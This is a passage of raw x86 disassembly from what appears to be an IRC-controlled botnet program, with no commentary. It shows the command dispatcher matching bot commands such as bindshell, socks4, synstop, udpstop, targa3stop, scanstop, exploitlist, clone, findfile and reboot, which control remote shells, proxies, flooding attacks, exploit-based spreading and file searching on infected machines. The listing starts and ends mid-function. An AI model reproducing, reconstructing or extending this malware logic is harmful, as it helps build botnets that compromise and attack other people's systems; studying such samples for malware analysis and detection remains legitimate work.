		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8E4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8C0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42C86C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C828


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C800
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42C7C8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C798
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C764
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA38 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C720 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA34 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA34 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C674


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C64C
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C630
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C614
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C600
		push	offset dword_42C5F4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5D4
		push	offset dword_42C5C4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5AC
		push	offset dword_42C5A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C58C
		push	offset dword_42C580
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C564
		push	offset dword_42C554
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C538
		push	offset dword_42C528
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C510
		push	offset dword_42C504
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5AC
		push	offset dword_42C5A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C58C
		push	offset dword_42C580
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4EC
		push	offset dword_42C4E0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4D4
		push	offset dword_42C4C8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C538
		push	offset dword_42C528
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C510
		push	offset dword_42C504
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B8
		push	offset dword_42C4A8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C498
		push	offset dword_42C488
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C564
		push	offset dword_42C554
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C454
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B8
		push	offset dword_42C4A8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C498
		push	offset dword_42C488
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4EC
		push	offset dword_42C4E0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4D4
		push	offset dword_42C4C8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C40C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C398
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C378
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2B4
		jnz	short loc_403191
		mov	eax, offset unk_42C28C


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
